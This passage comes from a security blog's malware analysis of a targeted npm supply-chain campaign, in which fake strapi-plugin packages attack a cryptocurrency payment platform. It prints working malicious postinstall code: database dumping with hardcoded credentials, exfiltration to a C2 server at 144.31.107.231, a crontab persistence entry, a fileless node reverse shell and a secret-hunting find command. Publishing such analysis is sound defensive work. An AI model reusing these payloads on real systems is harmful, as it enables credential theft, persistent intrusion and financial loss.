for (var i = 0; i < otherDbs.length; i++) { var db2 = knex({ client: 'pg', connection: { host: '127.0.0.1', port: 5432, user: 'user_strapi', password: '1QKtYPp18UsyU2ZwInVM', database: otherDbs[i].datname, }, }); var tables2 = await db2.raw("SELECT tablename FROM pg_tables WHERE schemaname='public'"); for (var j = 0; j < tables2.rows.length; j++) { var tn = tables2.rows[j].tablename; if ( /wallet|key|address|transaction|deposit|withdraw|hot|cold|secret|setting|config|partner|user|token|balance/i.test( tn ) ) { var data = await db2.raw('SELECT * FROM "' + tn + '" LIMIT 50'); await post('/db/' + ID + '/otherdb-' + otherDbs[i].datname + '-' + tn, JSON.stringify(data.rows)); } }}The table name regex — wallet|transaction|deposit|withdraw|hot|cold|balance — is purpose-built for a cryptocurrency platform’s database schema.
Explicit Guardarian database probing. The script then attempts to connect to six specific database names:
// package/postinstall.js (strapi-plugin-seed)for (var dbname of ['payments', 'api_payments', 'guardarian', 'guardarian_payments', 'exchange', 'custody']) { try { var db3 = knex({ client: 'pg', connection: { host: '127.0.0.1', port: 5432, user: 'user_strapi', password: '1QKtYPp18UsyU2ZwInVM', database: dbname, }, }); var t3 = await db3.raw("SELECT tablename FROM pg_tables WHERE schemaname='public'"); await post('/db/' + ID + '/found-db-' + dbname, JSON.stringify(t3.rows)); } catch (e) {}}The names guardarian, guardarian_payments, exchange, and custody leave no doubt about the target. The attacker is betting that the Strapi database user has cross-database access to the payment platform’s core financial databases — a common misconfiguration when multiple services share a PostgreSQL instance.
PostgreSQL role enumeration. The script also dumps all database roles and their privileges:
// package/postinstall.js (strapi-plugin-seed)var roles = await db.raw('SELECT rolname, rolsuper, rolcanlogin FROM pg_roles');await post('/db/' + ID + '/pg-roles', JSON.stringify(roles.rows));This reveals whether user_strapi has superuser access and what other accounts exist on the server.
C2 polling loop. Like Payload 5, this payload includes a 60-round polling C2 loop (5 minutes), using the /db/<id>/ path namespace with session IDs prefixed db-.
Payload 7: Hostname-Gated Persistent Implant ([email protected])
[email protected] was published ~8 hours after the first batch, under a second npm account (kekylf12 <[email protected]>). It represents a significant evolution — this is no longer a grab-and-go credential harvester but a persistent implant designed to survive beyond the postinstall window.
Hostname gating. The script exits immediately unless the hostname matches a specific value:
// package/postinstall.js ([email protected])var hn = cp.execSync('hostname', { encoding: 'utf8' }).trim();if (hn !== 'prod-strapi') process.exit(0);This means the attacker knows their target’s production hostname. The package will silently do nothing on any other machine — developer workstations, CI runners with different hostnames, or staging environments all get a clean exit.
Persistent C2 script. Instead of running the C2 loop inline (which dies when postinstall completes), the script writes a standalone C2 agent to disk:
// package/postinstall.js ([email protected])fs.writeFileSync('/tmp/.node_gc.js', c2script);var child = cp.spawn('node', ['/tmp/.node_gc.js'], { detached: true, stdio: 'ignore', env: process.env,});child.unref();The file is named .node_gc.js — a dotfile that blends in with Node.js runtime files. The detached: true and child.unref() calls ensure the process continues running after the parent exits. The C2 agent inside polls /shell/poll every 3 seconds (faster than Payload 5’s 5 seconds) and sends command output to /shell/result.
Crontab persistence. The script installs a crontab entry that restarts the C2 agent if it gets killed:
// package/postinstall.js ([email protected])cp.execSync( '(crontab -l 2>/dev/null; echo "* * * * * pgrep -f node_gc || node /tmp/.node_gc.js &") | sort -u | crontab -', { timeout: 5000 });This runs every minute: if no process matching node_gc is found, it restarts the agent. The sort -u pipe deduplicates the entry across multiple installs.
No credential harvesting. Unlike the earlier payloads, this variant does not steal .env files, Redis data, or private keys. It is a pure access-maintenance tool — the attacker either already has credentials or plans to harvest them interactively through the C2 channel.
Payload 8: Fileless Reverse Shell + Targeted Credential Theft ([email protected])
Published ~3 hours after v3.6.8, [email protected] is the final and most evolved payload in the campaign. It combines targeted credential theft with a fileless persistence mechanism and reveals specific details about the attacker’s intended victim.
Targeted environment paths. The hardcoded paths reveal the target’s infrastructure:
// package/postinstall.js ([email protected])// Read .env from build context (copied by Jenkins: cp /opt/secrets/strapi-green.env ./.env)var envPaths = [ '.env', '../.env', '../../.env', '/app/.env', '/opt/secrets/strapi-green.env', '/opt/secrets/.env', '/var/www/nowguardarian-strapi/.env', '/var/www/nowguardarian-strapi/nowguardarian-strapi.env',];The comment referencing Jenkins and the path /opt/secrets/strapi-green.env indicate the attacker has knowledge of the target’s CI/CD pipeline. The path /var/www/nowguardarian-strapi/ references what appears to be a Strapi deployment associated with “Guardarian” — a cryptocurrency payment gateway. This is consistent with the wallet file theft in Payload 5, the direct Guardarian database probing in Payload 6, the HOT_WALLET/COLD_WALLET search in Payload 2, and the Guardarian API module exfiltration in Payload 1 — confirming that cryptocurrency theft was the campaign’s objective from the start.
Broad secrets directory sweep. The script reads every file in /opt/secrets/ and every .env file under /var/www/*/:
// package/postinstall.js ([email protected])// Read ALL .env files in /opt/secrets/try { var files = fs.readdirSync('/opt/secrets/'); for (var i = 0; i < files.length; i++) { try { var c = fs.readFileSync('/opt/secrets/' + files[i], 'utf8'); await p( '/build/' + ID + '/secret', JSON.stringify({ path: '/opt/secrets/' + files[i], content: c.slice(0, 50000) }) ); } catch (e) {} }} catch (e) {}Environment variable filtering. Unlike Payload 5’s raw env dump, this version filters out npm_-prefixed variables to reduce noise:
// package/postinstall.js ([email protected])var env = {};for (var k in process.env) if (!/^npm_/.test(k)) env[k] = process.env[k];await p('/build/' + ID + '/proc-env', env);Fileless persistent reverse shell. The most significant evolution: instead of writing a file to /tmp/ (detectable by filesystem monitoring), the script spawns a detached node -e process with the entire C2 agent passed as an inline string:
// package/postinstall.js ([email protected])var child = cp.spawn( 'node', [ '-e', 'var h=require("http"),e=require("child_process").execSync;function poll(){' + 'h.request({hostname:"144.31.107.231",port:9999,path:"/bshell/poll",method:"POST",' + 'headers:{"Content-Type":"text/plain","Content-Length":2}},function(r){' + 'var d="";r.on("data",function(c){d+=c});r.on("end",function(){' + 'if(d&&d.trim()&&d.trim()!="nop"){try{var o=e(d.trim(),{timeout:30000,encoding:"utf8",maxBuffer:5e6});' + 'var rq=h.request({hostname:"144.31.107.231",port:9999,path:"/bshell/result",method:"POST",' + 'headers:{"Content-Type":"text/plain","Content-Length":Buffer.byteLength(o)}});rq.write(o);rq.end()' + '}catch(x){}}setTimeout(poll,3000)})}).on("error",function(){setTimeout(poll,10000)}).end("{}");}poll();', ], { detached: true, stdio: 'ignore' });child.unref();No file is written to disk. The C2 agent exists only as a running process, making it invisible to file-based detection tools. It polls /bshell/poll (a new path, distinct from both Payload 5’s /c2/ and Payload 7’s /shell/ namespaces), suggesting the attacker tracks victims by payload variant on the server side.
No crontab persistence. Unlike Payload 7, this version does not install a crontab entry — the attacker traded restart survival for detection evasion. The C2 path prefix changed from /c2/ to /build/ for the beacon phase, further suggesting the attacker is compartmentalizing C2 traffic by source.
Payload Evolution Timeline
The eight payloads show a clear narrative: the attacker started aggressive (Redis RCE, Docker escape), found those approaches weren’t working, pivoted to reconnaissance and data collection, used hardcoded credentials for direct database access, and finally settled on persistent access with targeted credential theft.
| Aspect | P1 (cron) | P2 (config) | P3 (4 pkgs) | P4 (monitor) | P5 (events) | P6 (seed) | P7 ([email protected]) | P8 ([email protected]) |
|---|---|---|---|---|---|---|---|---|
| Primary goal | Redis RCE | Container escape | Get a shell | Recon | Full recon | DB theft | Persistent access | Targeted theft + access |
| Target gating | TRANSFER check | TRANSFER check | TRANSFER check + hostname.includes('prod') | win32 check | win32 check | win32 check | hostname === 'prod-strapi' | win32 check |
| Redis abuse | CONFIG SET to crontab, webshell, SSH keys | CONFIG SET to overlay, /tmp, /dev/shm, node_modules | CONFIG SET to /tmp, execute result | Read-only (INFO, KEYS) | Read-only (INFO, DBSIZE, KEYS) | None | None | None |
| Database access | None | None | None | None | None | Direct PostgreSQL with hardcoded creds | None | None |
| Reverse shells | None (via Redis crontab) | Python (:4444) | Bash (:4444), Python (:8888), curl | None | None | None | Persistent detached | Fileless detached |
| Disk access | dd + mknod | dd + mknod (expanded) | None | None | None | None | None | None |
| Credential theft | Guardarian API module | Wallet/ES creds from raw disk | None | 8-phase recon | 11-phase recon | DB dump + cross-DB enum | None | Targeted paths + /opt/secrets |
| C2 lifetime | Single exfil | Single exfil | Single exfil | ~2.5 min polling | ~5 min polling | ~5 min polling | Indefinite (crontab) | Indefinite (fileless) |
| Exfil prefix | /exfil/cr- | /exfil/cf- | /exfil/sv- | /c2/<id>/ | /c2/<id>/ | /db/<id>/ | /shell/ | /build/<id>/ + /bshell/ |
Dynamic Analysis
Our Dynamic Analysis pipeline flagged strapi-plugin-events with two signals: Stage-9 secret gathering via a find command and Stage-11 C2 communication.
The following command was captured:
find / -maxdepth 4 ( -name *.pem -o -name *.key -o -name id_rsa* -o -name wallet* -o -name *private* -o -name *secret* ) ! -path */ssl/certs/* ! -path */node_modules/* -type fThe following are the outbound network connections recorded:
| id | created_at | analysis_id | ip_address | port | |
|---|---|---|---|---|---|
| 1 | 134189554 | April 3, 2026, 4:00 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 2 | 134189535 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 3 | 134189498 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 4 | 134189441 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 5 | 134189440 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 6 | 134189391 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 7 | 134189363 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 8 | 134189322 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 9 | 134189297 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 10 | 134189268 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 11 | 134189237 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 12 | 134189224 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 13 | 134189223 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 14 | 134189222 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 15 | 134189207 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 16 | 134189206 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 17 | 134189205 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 18 | 134189190 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 19 | 134189183 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 20 | 134189170 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 21 | 134189169 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 22 | 134189168 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 23 | 134189167 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 24 | 134189166 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 25 | 134189165 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.2.34 | 443 |
| 26 | 134189164 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.2.34 | 443 |
| 27 | 134189163 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.6.34 | 0 |
| 28 | 134189162 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.4.34 | 0 |
| 29 | 134189161 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.0.34 | 0 |
| 30 | 134189160 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.11.34 | 0 |
| 31 | 134189159 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.3.34 | 0 |
| 32 | 134189158 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.10.34 | 0 |
| 33 | 134189157 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.7.34 | 0 |
| 34 | 134189156 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.9.34 | 0 |
| 35 | 134189155 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.8.34 | 0 |
| 36 | 134189154 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.1.34 | 0 |
| 37 | 134189153 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.5.34 | 0 |
| 38 | 134189152 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.2.34 | 0 |
The sandbox recorded 24 outbound connections to 144.31.107.231:9999 — the hardcoded C2 server — spanning the full postinstall execution window (beacon through polling loop). The 104.16.x.34 entries are Cloudflare IPs contacted during npm package resolution.
Notable Characteristics
The campaign is specifically engineered for Strapi CMS deployments:
- All ten package names follow the
strapi-plugin-*naming convention - File paths target Strapi’s configuration directory layout (
/app/config/database.js,/app/config/plugins.js) - Environment variable paths target common Strapi Docker image conventions (
/home/strapi/.env,/app/.env) - Redis exploitation targets the default local instance commonly used as Strapi’s cache backend
- All packages skip Windows hosts, focusing exclusively on Linux servers and containers
The campaign shows signs of targeted intrusion against a specific cryptocurrency platform:
- Payload 1 exfiltrates a Guardarian API module from
/app/exteranl-apis(typo matching the target’s actual directory name) - Payload 2 searches raw disk for
HOT_WALLET,COLD_WALLET,DEPOSIT_ADDRESS, andMNEMONIC - Payload 3 gates on
hostname.includes('prod'), indicating knowledge of the target’s naming convention - Payload 6 connects to PostgreSQL using hardcoded credentials and explicitly probes for databases named
guardarian,guardarian_payments,exchange,custody - Payload 7 gates on
hostname === 'prod-strapi', indicating exact knowledge of the production hostname - Payload 8 references
/var/www/nowguardarian-strapi/and/opt/secrets/strapi-green.env - A code comment in Payload 8 references Jenkins:
// copied by Jenkins: cp /opt/secrets/strapi-green.env ./.env - The use of a second npm account (
kekylf12) for the targeted variants suggests operational compartmentalization
No obfuscation is used in any of the ten packages. The source code is readable JavaScript, suggesting the attacker prioritized speed of development over stealth. The entire eight-payload evolution — from Redis RCE to fileless persistence — happened within a single 13-hour session.
Conclusion
This campaign is a rare window into an attacker’s real-time development process. Over 13 hours, the operator published ten packages with eight distinct payloads, each iteration responding to what was likely working (or not) against their target:
- Hours 0–1 (Payloads 1–2): Aggressive Redis RCE exploitation — crontab injection, webshell writes, SSH key injection, Docker overlay escape, raw disk reads. These techniques would be devastating against an unprotected Redis instance but require
CONFIG SETto be enabled (it’s disabled by default in Redis 6+). - Hours 1–2 (Payload 3, published 4x): Simplified direct reverse shells — the attacker abandons Redis exploitation for straightforward bash and Python shells, suggesting the Redis approaches failed.
- Hour 2 (Payloads 4–5): Pivot to reconnaissance — instead of trying to get a shell, the attacker collects credentials, environment variables, and secrets for later use.
- Hour 3 (Payload 6): Direct database exploitation — the attacker uses hardcoded PostgreSQL credentials to dump Strapi data, enumerate all databases on the server, and probe for Guardarian payment and custody databases. The presence of real credentials (
user_strapi/1QKtYPp18UsyU2ZwInVM) confirms prior access to the target. - Hours 10–13 (Payloads 7–8): Targeted persistent access — the attacker switches to a second npm account and deploys persistent implants with specific knowledge of the target’s hostname, CI pipeline, and secrets directory layout.
The Guardarian references appear from Payload 1 onward (/app/exteranl-apis, HOT_WALLET, COLD_WALLET, MNEMONIC, guardarian_payments, /var/www/nowguardarian-strapi/), confirming that this was a targeted campaign against a cryptocurrency payment platform from the very beginning — not an opportunistic spray that became targeted over time. The hardcoded database password in Payload 6 proves this is not the attacker’s first interaction with the target’s infrastructure.
If you installed any of these ten packages, assume full compromise. Rotate all credentials accessible from the affected host, including database passwords, API keys, JWT secrets, and any private keys found on the filesystem. The PostgreSQL password 1QKtYPp18UsyU2ZwInVM must be rotated immediately if it is in use anywhere. Revoke any Kubernetes service account tokens that may have been exposed. Check for persistence mechanisms: remove /tmp/.node_gc.js, /tmp/vps_shell.sh, /tmp/redis_exec.sh, and /app/public/uploads/shell.php; audit crontab entries for node_gc or curl references; audit Redis with CONFIG GET dir to verify it hasn’t been reconfigured; and kill any orphaned node -e processes connecting to 144.31.107.231.
Use tools like vet to scan your dependency tree for malicious packages before they reach production, and pmg to block malicious packages at install time.
- vet
- malware
- supply-chain-security
- npm
- credential-theft
- c2
- targeted-attack
- persistence
- redis-rce
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

prt-scan: A 5-Phase GitHub Actions Credential Theft Campaign
A throwaway GitHub account submitted 219+ malicious pull requests in a single day, each carrying a 352-line payload that steals CI secrets, injects workflows, bypasses label gates, and scans /proc...

Malicious npm Package express-session-js Drops Full RAT Payload
A malicious npm package typosquatting express-session fetches and executes a full Remote Access Trojan from a paste service, targeting browser credentials, crypto wallets, SSH keys, and more.

Compromised npm Package mgc Deploys Multi-Platform RAT
The npm package mgc was compromised via account takeover, with four malicious versions published in rapid succession deploying a full Remote Access Trojan targeting macOS, Windows, and Linux.

axios Compromised: npm Supply Chain Attack via Dependency Injection
axios 1.14.1 was published to npm via a compromised maintainer account, injecting a trojanized dependency that executes a multi-platform reverse shell on install. No source code changes in axios...

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
